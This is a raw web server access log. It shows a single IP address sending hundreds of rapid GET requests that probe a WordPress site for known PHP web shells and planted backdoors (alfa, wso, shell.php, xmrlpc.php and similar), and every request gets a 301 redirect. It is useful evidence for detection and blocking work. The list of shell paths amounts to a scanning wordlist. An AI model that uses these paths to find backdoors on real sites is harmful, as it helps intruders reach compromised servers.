/wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:23 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:26 -0400] "GET /wp-admin/S7fHiMZBUg1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:27 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:28 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:30 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:32 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:34 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:35 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:38 -0400] "GET /wp-content/sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:40 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:42 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:44 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:47 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:49 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:52 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:03:58 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:04 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:07 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:11 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:13 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:15 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:18 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:19 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:23 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:26 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:28 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:31 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:32 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:33 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:34 -0400] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:36 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:38 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:41 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:42 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:44 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:45 -0400] "GET /admin/uploads/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:46 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:47 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:48 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:50 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:52 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:52 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:53 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:53 -0400] "GET /.well-known/acme-challenge/gif.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:54 -0400] "GET /feedback.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:54 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:55 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:55 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:56 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:58 -0400] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:04:59 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:00 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:01 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:02 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:05 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:10 -0400] "GET /thumbs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:14 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:22 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:26 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:31 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:34 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:36 -0400] "GET /templates/hcapmaster_comps.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:37 -0400] "GET /.well-known/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:40 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:42 -0400] "GET /alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:43 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:44 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:45 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:46 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:47 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:48 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:49 -0400] "GET /.well-known/acme-challenge/fond.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:50 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:52 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:53 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:53 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:55 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:55 -0400] "GET /wp-includes/customize/class-wp-customize-new-menu-section-compiler.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:56 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:57 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:58 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:59 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:05:59 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:00 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:00 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:01 -0400] "GET /wp-content/plugins/index-ajax-response.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:02 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:04 -0400] "GET /.well-known/acme-challenge/index1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:04 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:05 -0400] "GET /.well-known/acme-challenge/LA.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:06 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:07 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:08 -0400] "GET /wp/wp-admin/includes/class-wp-filesystem-base.php.bak HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:08 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:09 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:10 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:11 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:13 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:13 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:15 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:17 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:19 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:23 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:25 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:27 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:31 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:34 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:35 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:36 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:40 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:43 -0400] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:45 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:49 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:50 -0400] "GET /source.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:51 -0400] "GET /wp-includes/hnkmhdbj.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:53 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:54 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:55 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:56 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:57 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:58 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:06:59 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:00 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:02 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:02 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:03 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:04 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:06 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:07 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:09 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:09 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:10 -0400] "GET /wp-content/plugins/seoo/alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:11 -0400] "GET /.well-known/acme-challenge/worksec.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:11 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:12 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:12 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:13 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:13 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:14 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:15 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:16 -0400] "GET /uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:17 -0400] "GET /wp-admin/images/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:19 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:20 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:22 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:24 -0400] "GET /docs/cc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:25 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:26 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:27 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:28 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:29 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:30 -0400] "GET /wp-includes/rest-api/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:31 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:31 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:32 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:32 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:34 -0400] "GET /js/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:34 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:34 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:35 -0400] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:35 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:36 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:37 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:37 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:38 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:38 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:39 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:41 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:42 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:43 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:44 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:45 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:46 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:49 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:50 -0400] "GET /upload/duck.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:51 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:52 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:55 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:56 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:58 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:07:59 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:00 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:02 -0400] "GET /class-bulk-skin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:05 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:07 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:10 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:12 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:15 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:16 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:17 -0400] "GET /home.php?xsec=team HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:17 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:19 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:19 -0400] "GET /wp-content/plugins/seoo/alfa-ioxi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:20 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:21 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:22 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:23 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:24 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:25 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:26 -0400] "GET /wp-logout.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:27 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:28 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:28 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:29 -0400] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:30 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:31 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:32 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:33 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:34 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:35 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:35 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:36 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:37 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:38 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:38 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:39 -0400] "GET /img/img.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:40 -0400] "GET /wp-includes/customize/123.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:42 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:43 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:44 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:45 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:45 -0400] "GET /index.php?3x=3x HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:47 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:48 -0400] "GET /wp-content/uploads/2014/was-wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:48 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 